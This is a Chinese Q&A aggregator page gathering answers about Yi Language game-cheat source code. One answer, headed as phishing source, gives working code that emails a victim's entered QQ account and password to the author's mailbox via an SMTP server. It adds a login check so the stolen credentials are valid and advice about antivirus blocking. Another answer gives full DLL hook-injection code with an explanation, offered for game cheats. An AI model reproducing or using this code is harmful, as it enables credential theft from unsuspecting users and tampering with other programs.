当前位置:首页 » 操作系统 » 易语言外挂源码

易语言外挂源码

发布时间: 2022-11-28 03:07:22

① 易语言源码是什么

就是 文件名.e的文件 用这个文件 可以修改程序的功能 界面等 把它改写成你自己的程序 如果你想学习易语言推荐去赤血学院 学习一下 哪里成套的视频教程 可以让你快速入门。

② 易语言钓鱼源码

嗯嗯,改的设置对着呢。

但是你貌似没有填端口号,TX的应该是25,因为我填的是25……能发出去

可以这么写:

连接发信服务器 (“smtp.qq.com”, 25, 用户名, 密码)

发送邮件 (“号来了!”, “账号:” + 编辑框2.内容 + #换行符 + “密码:” + 编辑框2.内容, “*@qq.com”, , ,“*@qq.com”,)

但是,发送的时候360会拦截下来。这个你得注意下,其实你家机子要是固定IP的话,可以做个服务器。还有就是你这个验证根本不行,我账号填个1,密码填个1,那岂不就完事了,还能登上去,你又来一个垃圾。可以加个验证。

'------------------------验证源码

.版本 2


登录网页 = 网页源码编码转换 (温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))

' 温暖HTTP读文件 (“http://pt.3g.qq.com/s?aid=nLogin3gqq&auto=1&s_it=1&g_f=286&sid=”))

产生sid = 取文本之间内容 (登录网页, “sid=”, “&”)

登录返回文本 = 进行POST (寻找POST参数 (登录网页, “马上登录”), _启动窗口.编辑框1.内容, _启动窗口.编辑框2.内容)

.判断开始 (寻找文本 (登录返回文本, “登录密码错误”, , 假) > 0)

延时 (1000)

密码错误反馈.调用反馈事件 (, , )

.判断 (寻找文本 (登录返回文本, “登录失败,可能系统繁忙,请稍后重试”, , 假) > 0)

延时 (500)

帐号错误反馈.调用反馈事件 (, , )

.判断 (寻找文本 (登录返回文本, “您填写的帐号或密码不正确,请重新输入”, , 假) > 0)

延时 (1000)

密码错误反馈.调用反馈事件 (, , )

.判断 (寻找文本 (登录返回文本, “您输入的帐号不存在”, , 假) > 0)

延时 (500)

帐号错误反馈.调用反馈事件 (, , )

.判断 (寻找文本 (登录返回文本, “登录成功”, , 假) > 0)

登录成功网页 = 登录返回文本

sid = 产生sid

延时 (1000)

主界面反馈.调用反馈事件 (, , )

.判断 (寻找文本 (登录返回文本, “请输入验证码”, , 假) > 0)

验证码图片地址 = 取文本之间内容 (登录返回文本, “<img src=” + #引号, #引号)

延时 (1000)

验证码反馈.调用反馈事件 (, , )

.如果 (全局验证码内容 = “”)

_启动窗口.可视 = 真

.否则

输入验证码返回文本 = 进行POST (寻找POST参数 (登录返回文本, “马上登录”), , , 全局验证码内容)

.判断开始 (寻找文本 (输入验证码返回文本, “登录成功”, , 假) > 0)

登录成功网页 = 输入验证码返回文本

sid = 产生sid

延时 (1000)

主界面反馈.调用反馈事件 (, , )

.默认

延时 (1000)

密码错误反馈.调用反馈事件 (, , )

' -----------------接下来不是源码了

这里还要用到一个温暖HTTP应用模块,我给你传上来吧。

我自己写了个不带验证的奥拉星“外挂”,你可以看看,嘻嘻……(其实还是盗号的,只是不发送过来)

③ 什么是易语言源码怎么用,大概有几种我是新手,详细点!

就是一个程序的源文件
一个程序里面有很多原理
这些就是易语言源码
比如一个EXE的文件
它就有一个源码
这么说吧
如果一个JPG图片
那么它的源码就是还没保存的时候可以编辑的那个情况下
比如说一个程序(点按钮1就出现对话框“123”)
那么它的源码就是:
大概原理就是
按钮1点击时:信息框(“123”,0,)
这样
就是易语言源码

④ 求易语言钩子注入dll及home呼出源码

易语言钩子DLL注入源码及源码说明2010-04-06 13:52[所有要使用到的API]

.版本 2

.DLL命令 LoadLibraryA, 整数型,"kernel32.dll","LoadLibraryA"
.参数 lpLibFileName, 文本型

.DLL命令 SetWindowsHookExA, 整数型, "user32.dll", "SetWindowsHookExA", 公开, SetWindowsHookEx
.参数 钩子类型, 整数型, , idHook
.参数 回调函数地址, 整数型, , lpfn
.参数 实例句柄, 整数型, , hmod
.参数 线程ID, 整数型, , dwThreadId

.DLL命令 FreeLibrary, 整数型, "kernel32.dll", "FreeLibrary", , 释放指定的动态链接库,它们早先是用LoadLibrary ;API函数装载的 非零表示成功,零表示失败。会设置GetLastError
.参数 库句柄, 整数型, , hLibMole,要释放的一个库句柄,在VB里使用只能用这个函数释放那些由应用程序明确装载的DLL。对LoadLibrary的每一次调用都应该有一个对应的FreeLibrary调用;

.DLL命令 UnhookWindowsHookEx, 整数型, "user32.dll", "UnhookWindowsHookEx", , UnhookWindowsHookEx
.参数 钩子句柄, 整数型, , hHook

.DLL命令 CallNextHookEx, 整数型, "user32.dll", "CallNextHookEx", 公开, CallNextHookEx
.参数 钩子句柄, 整数型, , hHook
.参数 代码值, 整数型, , ncode
.参数 附加参数1, 整数型, , wParam
.参数 附加参数2, 整数型, 传址, lParam

.DLL命令 GetProcAddress, 整数型, "kernel32.dll", "GetProcAddress", , 取进程路径
.参数 模块句柄, 整数型, , hMole
.参数 进程名称, 文本型, , lpProcName

.DLL命令 GetCurrentThreadId, 整数型, "kernel32.dll", "GetCurrentThreadId"

.DLL命令 获取特别文件夹位置_, 整数型, "shell32.dll", "SHGetSpecialFolderLocation"
.参数 窗口句柄, 整数型, , hwndOwner
.参数 文件夹位置, 整数型, , nFolder
.参数 结构, 项目标识符列表_, 传址, pIdl

.DLL命令 从列表id取路径_, 整数型, "shell32.dll", "SHGetPathFromIDListA", , $(b)
.参数 结构指针, 整数型, , pIdl
.参数 路径, 文本型, 传址, pszPath

.DLL命令 CallWindowProcA, 整数型, "user32.dll", "CallWindowProcA"
.参数 动态调用代码, 字节集, , 一定要用本人编写的
.参数 子程序, 子程序指针, , 子程序指针
.参数 参数, 整数型, 数组, 为整数数组,参数1为成员1…类推;文本型和字节集型(自定义结构)为指针
.参数 参数数目, 整数型, , 一定要和参数数组相符,不然会出错
.参数 是否C调用, 整数型, , 真为cdecl调用方式,假为stdcall调用方式(即标准WINAPI方式)

[这里函数所有代码和一个自定义类型,API代码在左边]

.版本 2

.程序集 程序集1
.程序集变量 临时呼出热键, 整数型
.程序集变量 临时载入窗口, 窗口
.程序集变量 钩子模块句柄, 整数型, , "1000"
.程序集变量 钩子句柄, 整数型, , "1000"
.程序集变量 钩子IDx, 整数型
.程序集变量 x, 整数型
.程序集变量 钩子句柄1, 整数型
.程序集变量 temp目录, 文本型
.程序集变量 xxx, 整数型
.程序集变量 热键钩子句柄, 整数型
.程序集变量 第一次, 逻辑型

.子程序 调用_调用子程序, 整数型, 公开, 呼叫某个函数 可以传入无限个参数 返回函数返回值
.参数 子程序指针, 子程序指针, , 指定函数
.参数 参数, 整数型, 可空 数组, 指定参数 可以不写, 参数为数组 格式为 参数[1]=xxx 参数[2]=xxx 文本型或字节集请用 转换指针 格式2 加入成员(参数,xxx)
.局部变量 动态调用代码, 字节集

动态调用代码 = { 85, 139, 236, 86, 139, 117, 16, 141, 78, 255, 133, 201, 124, 21, 139, 69, 12, 141, 4, 136, 65, 139, 16, 137, 85, 16, 255, 117, 16, 131, 232, 4, 73, 117, 242, 255, 85, 8, 137, 69, 12, 139, 69, 20, 133, 192, 116, 13, 141, 4, 181, 0, 0, 0, 0, 137, 69, 16, 3, 101, 16, 139, 69, 12, 94, 93, 194, 16, 0 }
返回 (CallWindowProcA (动态调用代码, 子程序指针, 参数, 取数组成员数 (参数), 0))

.子程序 操作_取特定目录, 文本型, 公开, 取特定的目录(返回所要取的指定目录名 无效返回空)
.参数 欲获取目录类型, 整数型, 可空, 0我的桌面 1临时目录 5我的文档 6我的收藏夹 7我的启动 11我的开始菜单 20系统字体 36Windows安装目录 37系统目录 [99更多]
.局部变量 路径, 文本型
.局部变量 标示结构, 项目标识符列表_
.局部变量 目录类型, 整数型

.如果真 (欲获取目录类型 = 99)
输出调试文本 (“0我的桌面 2我的程序 5我的文档 6我的收藏夹 7我的启动 8我最近的文档 9我的发送到 11我的开始菜单 13我的音乐 14我的视频 16我的桌面 20系统字体 22开始菜单组 23程序组 24启动组 25桌面 31收藏夹 32我的浏览器临时目录 33我的Cookies 34我的历史记录 36Windows安装目录 37系统目录 38文件安装目录 39我的图片 40用户目录 41系统目录 46文档 47管理工具 48我的管理工具 53音乐 54图片 55视频”)
.如果真结束
.如果 (欲获取目录类型 = 1)
目录类型 = 34
.否则
目录类型 = 欲获取目录类型
.如果结束
获取特别文件夹位置_ (0, 目录类型, 标示结构)
路径 = 取空白文本 (255)
从列表id取路径_ (标示结构.结构大小, 路径)
.如果真 (路径 = “”)
返回 (“”)
.如果真结束
.如果真 (欲获取目录类型 = 1)
路径 = 子文本替换 (路径, “History”, “Temp”, , , 真)
.如果真结束
返回 (路径 + “\”)

.子程序 注入_安装钩子DLL, 整数型, 公开, DLL注入 返回0=失败 整数型 DLL接口(代码值,参数1,参数2)
.参数 线程ID, 整数型, , -1 全局钩子
.参数 DLL全名, 文本型, , DLL全名
.参数 DLL接口, 文本型, 可空, 默认 整数型 钩子接口(代码值,参数1,参数2)
.局部变量 临时变量, 整数型
.局部变量 目录, 文本型
.局部变量 窗口句柄, 整数型

.如果真 (是否为空 (DLL接口) = 真)
DLL接口 = “钩子接口”
.如果真结束
.如果真 (线程ID = 0)
返回 (0)
.如果真结束
.如果真 (线程ID = -1)
线程ID = 0
.如果真结束
钩子IDx = 钩子IDx + 1
钩子模块句柄 [钩子IDx] = LoadLibraryA (DLL全名)
钩子句柄 [钩子IDx] = SetWindowsHookExA (3, GetProcAddress (钩子模块句柄 [钩子IDx], DLL接口), 钩子模块句柄 [钩子IDx], 线程ID)
目录 = 操作_取特定目录 (1)
写配置项 (目录 + “ada.ini”, “ada”, “钩子句柄”, 到文本 (钩子句柄 [钩子IDx]))
输出调试文本 (钩子IDx, 钩子模块句柄 [钩子IDx], 钩子句柄 [钩子IDx])
返回 (钩子IDx)

.版本 2

.子程序 注入_卸载钩子DLL, 逻辑型, 公开
.参数 钩子ID, 整数型, 可空, 卸载所有时无效
.参数 卸载所有, 逻辑型, 可空
.局部变量 xx, 整数型

.如果真 (卸载所有)
.如果真 (钩子IDx > 0)
.计次循环首 (钩子IDx, xx)
.如果真 (钩子模块句柄 [xx] ≠ 0)
FreeLibrary (钩子模块句柄 [xx])
UnhookWindowsHookEx (钩子句柄 [xx])
.如果真结束

.计次循环尾 ()
.如果真结束
返回 (真)
.如果真结束
.如果真 (钩子ID > 0)
.如果真 (钩子模块句柄 [钩子ID] ≠ 0)
FreeLibrary (钩子模块句柄 [钩子ID])
UnhookWindowsHookEx (钩子句柄 [钩子ID])
返回 (真)
.如果真结束

.如果真结束
返回 (假)

.子程序 注入_初始化钩子DLL, 整数型, 公开, DLL用.
.参数 代码值, 整数型
.参数 参数1, 整数型
.参数 参数2, 整数型
.参数 初始, 子程序指针
.局部变量 xxxx, 整数型

.如果真 (钩子句柄1 = 0)
temp目录 =操作_取特定目录 (1)
钩子句柄1 = 到整数 (读配置项 (temp目录 + “ada.ini”, “ada”, “钩子句柄”, ))
.如果真结束
.如果真 (第一次 = 假)
第一次 = 真
调用_调用子程序 (初始)
.如果真结束
返回 (CallNextHookEx (钩子句柄1, 代码值, 参数1, 参数2))

.子程序 注入_设置呼出窗口, 逻辑型, 公开
.参数 设置热键, 整数型
.参数 呼出窗口, 窗口

临时呼出热键 = 设置热键
临时载入窗口 = 呼出窗口
热键钩子句柄 = SetWindowsHookExA (2, 到整数 (&呼出键接口), 0, GetCurrentThreadId ())
.如果真 (热键钩子句柄 > 0)
返回 (真)
.如果真结束
返回 (假)

.子程序 呼出键接口, 整数型
.参数 一, 整数型
.参数 二, 整数型
.参数 三, 整数型

.如果真 (一 = 0 且 二 = 临时呼出热键 且 三 > 0)
.如果 (是否已创建 (临时载入窗口))
.如果 (临时载入窗口.可视)
临时载入窗口.可视= 假
.否则
临时载入窗口.可视= 真
.如果结束

.否则
载入 (临时载入窗口, , 假)
临时载入窗口.Esc键关闭= 假
临时载入窗口.最小化按钮= 真
.如果结束

.如果真结束
返回 (CallNextHookEx (热键钩子句柄, 一, 二, 三))

.版本 2

.数据类型 项目标识符列表_, , ITEMIDLIST
.成员 结构大小, 整数型, , , cb
.成员 标识符长度, 字节型, , "255", abID

此函数是用来调用指针函数的.就是CALL

取目录用这个我就不解释了
下面是源码主要函数
函数解释:

本函数参数1为要HOOK的线程ID,参数2为要注入的DLL名,参数3[可空]为DLL接口名字空则为"钩子接口".
下面解释是如何实现的:

1.首先使用LoadLibraryA获取DLL模块地址.
2.然后设置SetWindowsHookExA

参数一为HOOK类型,使用WH_GETMESSAGE(3) Hook来监视从GetMessage or PeekMessage函数返回息。

参数二为接口地址,就是说把消息返回转接到的位置,当然我们这里所使用的是我们DLL所公开的那个函数

参数三为接口模块的句柄即DLL的句柄(地址)

参数四为将要被HOOK的线程ID(0为全局HOOK,不推荐使用全局HOOK)

3.设置完后将钩子句柄写配置项到临时目录(后面将要使用).

说白了其实这个才是真正的接口(DLL里的接口只是在做转接而已),

我先讲这个函数是如何实现的(上面已经说了这才是真正的接口).

1,钩子句柄是一个程序集变量,先判断这个变量是否为0,如果等于0那么就是说这个函数第一次被使用,

第一次使用将读去上个函数写在临时目录的钩子句柄.

2.用一个逻辑变量(程序集变量或全局变量),来判断这个消息钩子是否第一次运行(为了防止后面调用

子程序被多次调用),是的话调用一个子程序(自己设置)

3.使用CallNextHookEx(呼叫下一个钩子)把当前HOOK的信息在传送回被HOOK的钩子里,那个钩子我们

就不用管了.

下来说下到底如何使用

首先在你的EXE程序里写这个(我就不多说这是干吗的了).

然后在DLL里写上这个代码(有人可能觉得眼熟,好像在什么地方见过,对了这个代码和

外挂作坊的钩子注入差不多)

下来说明下按键呼出窗口的函数

用变量把当前参数存起来(主要方便接口调用)

1.为当前运行线程设置一个键盘钩子

2.[接口]设置按键判断,如果按下我们设置的键将呼出窗口,如果这个窗口没创建将判断创建,

如果已经创建再次按下则会隐藏,

载入后的窗口把用ESC关闭的属性弄成假,不需要ESC关闭

3.最后就是再呼叫下以前的钩子.

最后就是卸载钩子DLL了.

判断是否要卸载全部的钩子,如果是就循环将现有钩子DLL全部卸载.

不是就按着ID来卸载

卸载方法:

1.FreeLibrary就是卸载一个载入的DLL

2.UnhookWindowsHookEx乃是卸载这个HOOK

-.-OK了这就是 钩子DLL注入,谢谢大家阅读,如果看不明白,

⑤ 易语言源码工具箱源码

制作方案:
准备一个要载入工具箱的exe
新建个易语言程序,进入易语言-插入-资源-图片或图片组
将图片1改为exe
双击内容
导入新图片
然后载入exe
回到启动窗口,新建个按钮,按钮输入代码:
写到文件("D:\临时调试文件.exe",#exe)
运行("D:\临时调试文件.exe")
删除文件("D:\临时调试文件.exe")
然后调试程序,点击那个按钮,你会发现刚才载入的exe运行了!

⑥ 易语言QQ炫舞辅助源码(急要)(日期2013-9-6 ~2013.9-8)(要 图+源码)

请问楼主,1.你要源码干什么,你自己技术如果相当的话可以自己编写,更何况哪有什么外挂用易语言编写的。2.请问楼主你是想拿着这个源码去发布QQ炫舞新外挂么,如果QQ炫舞那天更新了,你那个外挂就可能不可以用,你自己会更新吗。3.你有专业技术开发网站吗,难道你连建设一个网站也在知道里面提问的话,那又有什么意思呢!我想即使编出来也不会有多少人认可的
建议楼主可以在网络搜索一下易语言案例教程,多看。下载一些简单的程序源码,研究他的代码的作用。

最后祝愿楼主编程有大大的提高。
如果感到满意的话就点我左下方的选为满意答案。点之~~~~~~我打那么多字,就可怜一下我吧。纯手打。

⑦ 求如何修改易语言源码过程,

修改易语言源码过程:
在你的电脑上安装一个易语言

得到你想修改的易语言源码(*.e格式的文件)

用易语言打开源码文件

改成你希望的效果

保存文件

关闭易语言.

就是这么简单.

⑧ 求易语言源码大全1500多个的源码!!下载地址-百度网盘

源码5000

链接:

密码:2ms0

⑨ 求易语言挂机锁源码

.版本 2.支持库 shellEx.支持库 iext
.子程序 _窗口1_创建完毕
窗口1.左边 = 0窗口1.顶边 = 0窗口1.高度 = 取屏幕高度 () ' 这些代码能看得懂吧!试一下效果!窗口1.宽度 = 取屏幕宽度 ()a = 注册热键 (取窗口句柄 (), 标签1.取窗口句柄 (), 4, #F4键) ' 4就是功能键alt键了.b = 注册热键 (取窗口句柄 (), 标签1.取窗口句柄 (), 4, #Tab键) ' 现在来禁止win键.用一个模块来禁止.' 屏蔽win键 () ' 就这样就行了.哈哈
.子程序 _按钮1_被单击
.判断开始 (编辑框1.内容 ≠ _启动窗口.编辑框1.内容) ' 意思是窗口1的编辑框的内容不等于_启动窗口的编辑框的内容则出现信息框. 信息框 (“解锁密码错误,请重新输入!”, #错误图标, “提示:”).默认 销毁 () ' 否则关闭窗口1.判断结束

.子程序 _窗口1_尺寸被改变, , , 这个之前我也有做过一个动画大家可以去看看.
透明标签2.左边 = 窗口1.宽度 ÷ 2 - 透明标签2.宽度 ÷ 2 ' 窗口1.宽度 ÷ 2说明左边是在窗口的一半.那当然不对了.应该是要中间在窗口中的一半.所以还要减去透明标签2.宽度的一半.透明标签2.顶边 = 窗口1.高度 ÷ 2 - 透明标签2.高度 ÷ 2 ' 高度的意思和宽度的意思一样.透明标签1.左边 = 窗口1.宽度 - 透明标签1.宽度 × 2 ' 透明标签1.左边在窗口1的宽-两个透明标签的宽度那里透明标签1.顶边 = 窗口1.高度 - 8 - 编辑框1.高度 - 32 ' 透明标签1.顶边在窗口1的高-8再减编辑框的高度.再减去32.大家都有看到一个一个的小黑点了吧.他们之间的距离就是8了.图片框1.左边 = 透明标签1.左边 ' 以下的都明白了吧.图片框1.顶边 = 透明标签1.顶边 + 透明标签1.高度 + 8连续赋值 (图片框1.顶边, 编辑框1.顶边, 按钮1.顶边) ' 这个连续赋值的意思是说编辑框1.顶边, 按钮1.顶边都和图片框1.顶边一样.编辑框1.左边 = 图片框1.左边 + 图片框1.宽度 + 8按钮1.左边 = 编辑框1.左边 + 编辑框1.宽度 + 8' 基本是这样了.我们来试试.有点错误.检查一下.这样效果不错了.现在来说一说.在网络上找的

⑩ 易语言怎么写截封包的源码

网络游戏的数据都是通过客户端发送给服务器。

只要拦截到数据,并且修改它的值就达到了外挂的效果,这就是网络游戏外挂的原理。

这个软件源码是做封包拦截的。

热点内容
编译器错误都是什么意思 发布:2024-04-28 17:31:30 浏览:73
服务器不能复制粘贴到本机是怎么回事 发布:2024-04-28 17:24:50 浏览:15
房产中介管理系统源码 发布:2024-04-28 17:23:53 浏览:76
文件传输java 发布:2024-04-28 17:19:24 浏览:195
存储过程中的is 发布:2024-04-28 17:13:45 浏览:406
c语言补码函数 发布:2024-04-28 17:01:35 浏览:465
编译原理圣经级书 发布:2024-04-28 16:48:21 浏览:146
我的世界手机版如何在服务器上 发布:2024-04-28 16:35:21 浏览:862
pythonwindowsweb 发布:2024-04-28 16:10:29 浏览:542
王牌竞速如何找到最开始的服务器 发布:2024-04-28 14:53:09 浏览:403